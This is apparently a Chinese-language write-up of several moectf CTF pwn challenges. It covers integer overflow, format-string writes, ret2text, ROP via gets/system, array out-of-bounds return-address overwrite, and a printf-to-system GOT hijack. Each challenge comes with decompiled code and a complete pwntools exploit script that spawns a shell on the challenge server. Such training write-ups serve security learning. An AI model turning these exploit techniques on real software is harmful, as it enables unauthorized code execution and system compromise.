linux下输入nc pwn.blackbird.wang 9500, 然后cat flag

moectf{enjoy_the_netcat_and_the_shell}

Int_overflow

IDA打开分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
puts("Do you no integer overflow?");
puts("Input an int ( <0 )");
__isoc99_scanf("%u", &v4);
if ( (v4 & 0x80000000) == 0 )
{
puts("<0 ?");
}
else
{
puts("But I want <0 now!");
printf("%d\n", v4);
if ( v4 )
{
puts("You know int overflow!");
system("/bin/sh");
}
else
{
puts(">0 ?");
}
}
return 0;
}

按看到的那样, 随便给一个无符号整数2147483648(0x80000000)即可. 用过修改器的同学应该对这个数字很熟悉hhh

moectf{y0ul0v3m3m3l0v3y0u_1nt0v3rfl0w}

baby_fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]

v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}

程序先产生一个随机数, 保存在dword_804C044全局变量里. 所以我们尝试使用printf的漏洞向dword_804C044写数据. (%n可以向一个地址写已打印的字符数).

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

local = 0
if local:
p = process('./babyfmt')
else:
p = remote('pwn.blackbird.wang', 9503)
p.sendline(b'%12$n\0\0\0' + p32(0x804C044))
p.recv()
p.sendline(b'0')
p.recv()
p.sendline(b'cat flag')
p.interactive()

moectf{fmt_1s_soooo_e@sy}

ret2text

先看main函数

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[10]; // [rsp+16h] [rbp-Ah] BYREF

setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(s, 0, sizeof(s));
read(0, s, 0x100uLL);
return 0;
}

s大小仅为10, 但是最多可输入256个字符, 可以利用这个修改返回地址, 在函数return 0;的时候跳到另一个地方.
发现有一个函数backdoor里面有"/bin/sh", 切汇编看看

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:0000000000400687 ; int backdoor()
.text:0000000000400687 public backdoor
.text:0000000000400687 backdoor proc near
.text:0000000000400687 ; __unwind {
.text:0000000000400687 push rbp
.text:0000000000400688 mov rbp, rsp
.text:000000000040068B lea rdi, command ; "/bin/sh"
.text:0000000000400692 call _system
.text:0000000000400697 nop
.text:0000000000400698 pop rbp
.text:0000000000400699 retn
.text:0000000000400699 ; } // starts at 400687
.text:0000000000400699 backdoor endp

0x40068B这里把字符串放入rdi(第一个参数), 然后调用system函数, 那就跳到这吧.

1
2
3
4
5
6
7
8
9
10
from pwn import *

local = 0
if local:
p = process('./ret2text')
else:
p = remote('pwn.blackbird.wang', 9502)
p.sendline(b'*'*(10+8)+p64(0x40068B))
p.sendline(b'cat flag')
p.interactive()

moectf{ret2txt_tr4v3l2she11}

babyrop

通过main找到vuln函数有栈溢出

1
2
3
4
5
6
7
int vuln()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

gets(s);
return 0;
}

然后backdoor里有调用system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:080484F6 ; int backdoor()
.text:080484F6 public backdoor
.text:080484F6 backdoor proc near
.text:080484F6
.text:080484F6 var_4 = dword ptr -4
.text:080484F6
.text:080484F6 ; __unwind {
.text:080484F6 push ebp
.text:080484F7 mov ebp, esp
.text:080484F9 push ebx
.text:080484FA sub esp, 4
.text:080484FD call __x86_get_pc_thunk_ax
.text:08048502 add eax, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048507 sub esp, 0Ch
.text:0804850A lea edx, (aXiaoHaiZiCaiZu - 804A000h)[eax] ; "xiao hai zi cai zuo xuan ze,da ren wo q"...
.text:08048510 push edx ; command
.text:08048511 mov ebx, eax
.text:08048513 call _system
.text:08048518 add esp, 10h
.text:0804851B nop
.text:0804851C mov ebx, [ebp+var_4]
.text:0804851F leave
.text:08048520 retn
.text:08048520 ; } // starts at 80484F6
.text:08048520 backdoor endp

但是参数并不是/bin/sh, 所以我们要想办法让栈顶存放的指针指向这个字符串, 然后再跳到这执行system.
按ctrl+S打开节表, 发现0x804A028处有可读写空间, 我们可以先想办法把"/bin/sh"写到这里.

可以通过溢出构造这样一个栈帧:

高地址

缓冲区地址
system函数的调用处
gets函数的开头(或者jmp _gets)

低地址

程序执行到ret指令时, 会让函数返回到0x08048380处(jmp _gets), 然后程序以0x804A028(放置"/bin/sh"的缓冲区)作为第一个参数调用gets, 这时我们输入"/bin/sh", gets返回到0x8048513, 也就是直接调用system, 此时的栈顶正好是这个缓冲区.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

local = 0
if local:
p = process('./babyrop')
else:
p = remote('pwn.blackbird.wang', 9504)
addr_text = 0x804A028
addr_gets = 0x8048380
addr_system = 0x8048513
v = b'*'*(0x24+4*2)+p32(addr_gets)+p32(addr_system)+p32(addr_text)
p.recvuntil(b'?')
p.sendline(v)
p.sendline(b'/bin/sh')
p.recv()
p.sendline(b'cat flag')
p.interactive()

moectf{do_you_l1k3_vtuber_too?}

Int_overflow_revenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [esp-10h] [ebp-20h]
int v5; // [esp-Ch] [ebp-1Ch]
int v6; // [esp-8h] [ebp-18h]
int v7[4]; // [esp+0h] [ebp-10h] BYREF

v7[2] = (int)&argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
puts("HuaQiang comes and would like to buy watermelon.");
puts("HuaQiang: how much per jin?");
__isoc99_scanf("%d", v7, v4, v5, v6);
printf("You: %d yi jin\n");
if ( v7[0] > 1u )
{
puts("HuaQiang: Wt'sup");
puts("HuaQiang: gua pi zi gold, gua li zi gold");
puts("HuaQiang becomes angry, killing the boss and leaving.");
exit(0);
}
puts("HuaQiang: choose one.");
v3 = sell_watermelon();
printf("%d jin, %d\n", v3 * v7[0], v3 * v7[0]);
puts("HuaQiang: XiTieShi!");
puts("HuaQiang becomes angry, killing the boss and leaving.");
exit(0);
}

先看17行, 如果输入的值大于1, 游戏结束. 所以第一个输入应该是不大于1的整数.
然后就可以sell_watermelon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int sell_watermelon()
{
int v1; // [esp-8h] [ebp-220h]
int v2; // [esp-8h] [ebp-220h]
int v3; // [esp-4h] [ebp-21Ch]
int v4; // [esp-4h] [ebp-21Ch]
int v5; // [esp+0h] [ebp-218h]
int v6; // [esp+0h] [ebp-218h]
int v7; // [esp+8h] [ebp-210h] BYREF
unsigned __int8 v8; // [esp+Fh] [ebp-209h] BYREF
int v9[130]; // [esp+10h] [ebp-208h] BYREF

memset(v9, 0, 0x200u);
puts("128 watermelons there, choose one and input the index: ");
v8 = 0;
while ( 1 )
{
__isoc99_scanf("%hhd", &v8, v1, v3, v5);
if ( check((char)v8, 128) )
break;
puts("not so much");
puts("128 watermelons there, choose one and input the index: ");
}
puts("Confirm the weight");
puts("The real weight is 13 * 500g, (15 with XiTieShi)");
puts("Change the weight?(1 for yes)");
__isoc99_scanf("%d", &v7, v1, v3, v5);
if ( v7 == 1 )
{
puts("Input the weight to change: ");
__isoc99_scanf("%d", &v9[v8], v2, v4, v6);
}
else
{
v9[(char)v8] = 15;
}
return v9[v8];
}

可以利用整数溢出写数组之外的值, 我们可以修改返回地址到0x08049246, 那里会调用system("/bin/sh")
返回地址应该是[ebp+0x4], 数组起始地址是ebp-0x208, (0x208+4)/4=131, 那就输入131.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

local = 0
if local:
p = process('./intoverflow')
else:
p = remote('pwn.blackbird.wang', 9508)
addr_shl = 0x8049246
p.read()
p.sendline(b'1')
p.read()
p.sendline(b'131')
p.read()
p.sendline(b'1')
p.read()
p.sendline(bytes(str(addr_shl), encoding='utf-8'))
p.read()
p.sendline(b'cat flag')
p.interactive()

moectf{the_watermelon_is_permitted_to_be_grown_up}

Human’s Nature

查看main调用的vuln函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __noreturn vuln()
{
int i; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+78h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("What's human's nature???");
puts("What's human's nature???\n");
for ( i = 0; ; ++i )
{
memset(s, 0, 0x64uLL);
s[(int)read(0, s, 0x7FuLL)] = 0;
printf(s);
puts(&byte_20B6);
}
}

这是个死循环, 所以修改返回地址没用, 但是我们可以通过printf漏洞修改got中指向printf的值, 让它变成指向system的值, 如果我们在前面read函数被调用时输入了"/bin/sh", 那么我们的目的就达到了.

程序开启了地址随机化, 所以我们要先得到任意一处代码在内存中的位置, 再减去不开启随机化时的位置, 就可以求出偏移, 这里我们选择vuln的返回地址0x555A28555303.

下一步我们获取printf函数的地址, 然后我们可以通过题目中给出的libc.so求得system的地址.

然后就可以修改got中的printf啦, 那天在网上找到pwn中有个函数fmtstr_payload可以直接构造格式串, 新技能get.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context.clear(arch='amd64')

def get_data(p, addr):
n = 0
for i in range(8):
p.sendline(b'%9$s\0\0\0\0' + p64(addr + 7 - i))
tt = p.recvline()
if len(tt) > 1:
n = (n << 8) | tt[0]
else:
n = n << 8
return n

local = 0
if local:
p = process('./hijack')
else:
p = remote('pwn.blackbird.wang', 9505)
print(p.recvuntil(b"???\nWhat's human's nature???\n"))
p.sendline(b'%23$p')
p.recvline()
reloc = eval(p.recvline()) - 0x555A28555303
print('* Get reloc ' + hex(reloc))
p_printf = reloc + 0x555A28558020
p.recvline()
f_printf = get_data(p, p_printf)
of_system = 0
if local:
of_system = 0x48E50 - 0x56CF0
else:
of_system = 0x4F550 - 0x64F70
f_system = f_printf + of_system
wr = fmtstr_payload(8, {p_printf:f_system})
p.sendline(wr)
p.sendline(b'cat flag')
p.interactive()

moectf{hIj4ck_Is_@_gr34t_w4y_t0_g3t_sh311}

更多

星期八更新